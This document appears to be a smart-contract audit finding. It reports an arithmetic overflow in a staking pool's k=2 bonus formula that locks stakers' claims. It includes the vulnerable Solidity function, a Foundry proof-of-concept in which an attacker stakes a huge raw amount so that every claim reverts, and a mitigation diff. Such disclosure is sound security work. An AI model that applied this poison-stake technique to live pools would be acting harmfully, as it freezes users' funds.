_bonusShare Expanded k=2 Formula Can Overflow and Lock SURVIVED/EXPIRED Claims
Description
-
The pool distributes bonus rewards to stakers after a `SURVIVED` or `EXPIRED` resolution using a k=2 time-weighted formula. Each staker’s bonus share is based on their score relative to the global score, where the score is intended to represent `amount * (T - entryTime)^2`.
-
The issue is that `_bonusShare()` expands this formula using absolute Unix timestamps and checked `uint256` intermediate products. For pools using a high-decimal standard ERC20, a realistic displayed token amount can produce raw balances large enough for `T * T * stake + stakeTimeSq` to overflow. Once this happens, every affected claim path reverts, locking principal and bonus in the pool.
solidity
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
if (globalScore == 0) {
if (snapshotTotalStaked == 0) return 0;
return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
}
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}
Risk
Likelihood:
-
Occurs in pools configured with a high-decimal standard ERC20 where ordinary displayed balances correspond to very large raw token amounts, e.g decimal()=59
-
Occurs after a large raw stake is snapshotted into a SURVIVED or EXPIRED outcome and any staker attempts to claim.
Impact:
-
All claimSurvived() or claimExpired() calls can revert with Solidity arithmetic panic 0x11.
-
Stakers’ principal and bonus remain locked in the pool because the shared global denominator calculation is poisoned.
Proof of Concept
Ran 1 test for test/poc/ConfidencePoolArithmeticOverflow.poc.t.sol:ConfidencePoolArithmeticOverflowPoC
[PASS] test_bonusShareOverflowLocksAllSurvivedClaims() (gas: 662551)
Suite result: ok. 1 passed; 0 failed; 0 skipped
The PoCs are runtime-confirmed. also performed exact integer-bound verification, the overflow thresholds match the observed revert sites.
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {stdError} from "forge-std/StdError.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
contract HighDecimalsERC20 is ERC20 {
constructor() ERC20("High Decimals", "HDEC") {}
function decimals() public pure override returns (uint8) {
return 59;
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
function test_bonusShareOverflowLocksAllSurvivedClaims() public {
uint256 poisonStake = 2 * 10 ** 58;
uint256 honestStake = 1 ether;
_stake(attacker, poisonStake);
_stake(honestStaker, honestStake);
_contributeBonus(1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(BASE_TIMESTAMP + 30 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
pool.pokeRiskWindow();
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.expectRevert(stdError.arithmeticError);
vm.prank(honestStaker);
pool.claimSurvived();
vm.expectRevert(stdError.arithmeticError);
vm.prank(attacker);
pool.claimSurvived();
}
Recommended Mitigation
Bound the maximum raw stake that can enter the k=2 accounting, or restrict allowed stake tokens to a safe maximum decimals range. The bound should account for the worst-case T^2 * stake + stakeTimeSq intermediate, not only the final mulDiv.
+ uint256 private constant MAX_K2_STAKE =
+ type(uint256).max / 2 / uint256(type(uint32).max) / uint256(type(uint32).max);
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
+ if (totalEligibleStake + received > MAX_K2_STAKE) {
+ revert StakeCapExceeded();
+ }
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
...
}